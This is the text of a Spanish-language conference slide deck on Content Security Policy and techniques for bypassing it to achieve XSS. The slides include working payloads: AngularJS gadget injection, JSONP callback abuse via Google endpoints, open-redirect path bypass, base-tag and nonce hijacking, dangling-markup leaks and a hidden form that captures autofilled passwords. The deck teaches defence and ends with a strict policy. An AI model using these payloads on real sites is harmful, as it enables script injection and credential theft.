|
Scroll view
Si estás en un dispositivo móvil. |
Fragment view
Tal como se ve en la presentación. |
|
Speaker mode
Para ver las notas del presentador. |
Print mode
Exportar a PDF. |
|
Search
Busca en la presentación (Ctrl + Shift + F). |
Shortcuts |
Navega usando
Santos Gallegos
-
[email protected]
@stsewd
Si la política es lo suficientemente restrictiva, será difícil, pero no siempre imposible llevar a cabo un ataque XSS.
Inyectar HTML sin ejecutar JS puede tener impacto en la seguridad de la página, y es algo que CSP no siempre puede prevenir.
Es una capa de seguridad adicional que ayuda a detectar y mitigar ciertos tipos de ataques, incluyendo Cross Site Scripting (XSS) y ataques de inyección de datos.
https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
Mediante el header Content-Security-Policy que el servidor envía en la respuesta HTTP,
este header contiene una serie de reglas que le indican al navegador qué recursos puede cargar y ejecutar en
la página web.
Content-Security-Policy: <directive> <value>; <directive>
Content-Security-Policy:
default-src 'self' example.com *.example.com;
upgrade-insecure-requests;
'none' - nada está permitido'self' - sólo recursos del mismo origen están permitidos'unsafe-inline' - código inline está permitido, CSS o JSexample.com - host específico*.example.com - wildcardhttps://example.com - protocolo específicohttps://example.com/path/to/file - path específicohttps://example.com/path/to/dir/ - directoriohttps: - protocolo'nonce-{random-value}' - nonce'sha{algorithm}-{hash}' - hashEjemplos:
'nonce-8IBTHwOdqNKAWeKl7plt8g==''sha256-opnq3UrQLt34nD/Io3x4OQXex7rVCcRNO2/Dym9R8ro='default-srcscript-srcstyle-srcimg-srcconnect-srcNo usar JavaScript
Content-Security-Policy: script-src 'none'
Tenemos una web que lleva varios años en producción, sin un mantenimiento constante, y con un montón de código JavaScript inline.
Cuálquier parecido con la realidad es pura coincidencia.
Content-Security-Policy:
script-src
'self'
'unsafe-inline'
'unsafe-eval'
https://www.google.com
https://*.gstatic.com
https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js;
https://csp-evaluator.withgoogle.com/
<script>
alert(document.domain)
</script>
Content-Security-Policy:
script-src
'self'
'unsafe-eval'
https://www.google.com
https://*.gstatic.com
https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js;
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js"></script>
<div ng-app>
<input ng-focus="$event.composedPath()|orderBy:'alert(document.domain)'" value="Click me!">
</div>
Content-Security-Policy:
script-src
'self'
https://www.google.com
https://*.gstatic.com
https://cdn.jsdelivr.net/npm/[email protected]/dist/jquery.min.js;
JSON with padding, is a historical JavaScript technique for requesting data by loading a
<script> element.
JSON-P enables sharing of data bypassing same-origin policy.
Access-Control-Allow-Origin: *
https://example.com/users/1234?callback=parseResponse
parseResponse({"Name": "Clem", "Id": 1234, "Rank": 7});
https://example.com/users/1234?callback=alert(document.domain)//
alert(document.domain)//({"Name": "Clem", "Id": 1234, "Rank": 7});
<script
src="https://www.google.com/complete/search?jsonp=alert(document.domain)//&client=chrome">
</script>
Content-Security-Policy:
script-src
'self'
https://www.google.com/recaptcha/
https://www.gstatic.com/recaptcha/
https://cdn.jsdelivr.net/npm/[email protected]/dist/jquery.min.js;
https://example.com/login/?next=https://evil.example.com
To avoid leaking path information cross-origin, the matching algorithm ignores the path component of a source expression if the resource being loaded is the result of a redirect.
https://www.w3.org/TR/CSP3/#source-list-paths-and-redirects
https://homakov.blogspot.de/2014/01/using-content-security-policy-for-evil.html
<script
src="/_/redirect/?https://cdn.jsdelivr.net/gh/stsewd/charla-csp-xss@main/js/test.js">
</script>
Content-Security-Policy:
script-src
'self'
https://www.google.com/recaptcha/
https://www.gstatic.com/recaptcha/
https://static.example.com/js/[email protected]/dist/jquery.min.js;
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
<div ng-app>
<input ng-focus="$event.composedPath()|orderBy:'alert(document.domain)'" value="Click me!">
</div>
Usar una lista de hosts permitidos no es suficiente para prevenir ataques XSS.
Content-Security-Policy:
script-src
'nonce-8IBTHwOdqNKAWeKl7plt8g=='
'sha256-opnq3UrQLt34nD/Io3x4OQXex7rVCcRNO2/Dym9R8ro=';
<base>
The HTML <base> element specifies the base URL to use for all
relative URLs contained within a document.
https://devdoc.net/web/developer.mozilla.org/en-US/docs/Web/HTML/Element/base.html
<base>
<base href="https://evil.example.com/">
<script nonce="abc">
{INJECTION}
</script>
<script nonce="abc" {INJECTION} src="good.js"></script>
<script nonce="abc" src="https://example.com/evil.js">
</script>" src="good.js"></script>
Si la política permite scripts que coinciden con un hash, el atacante también puede hacer uso de esos scripts.
Content-Security-Policy:
script-src
'sha256-lZiRtFqX8+/xK+BIpUJiYLvM8k3Hmw2Lb+Efx61lknA=';
<script>deleteAccount()</script>
<meta http-equiv="refresh" content="0; url=https://example.com/" />
Cuando se carga un recurso de un sitio, el navegador envía el header Referer con la URL del sitio que hizo la petición. La URL puede contener información sensible (OAuth tokens).
<img src="https://example.com/" referrerpolicy="unsafe-url">
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy
Ejemplo
El atacante puede inyectar un recurso entre comillas sin cerrar, el navegador interpretará el contenido de la página como parte del recurso, hasta que encuentre el cierre de las comillas.
<img src='https://example.com/
Un atacante puede inyectar un formulario oculto en la página. El gestor de contraseñas puede llenarlo automáticamente. Si el usuario envía el formulario, el atacante recibirá las credenciales.
<form action="https://example.com/">
<input name="email" style="opacity:0;width:0">
<input type="password" name="password" style="opacity:0;width:0">
<input type="submit" value="Click me!">
</form>
Principio de privilegio mínimo
Content-Security-Policy:
default-src 'none';
base-uri 'none';
form-action 'none';
frame-ancestors 'none';
Content-Security-Policy:
default-src 'none';
script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g==';
base-uri 'none';
form-action 'none';
frame-ancestors 'none';
'unsafe-inline' y evita usar 'unsafe-eval'
CSP es una capa de seguridad adicional, no una solución mágica para prevenir todo tipo de ataques.
Evadir políticas CSP es una nueva habilidad que debemos aprender y también otras maneras creativas de explotación sin ejecutar JavaScript.
Aprende, entiende, y comparte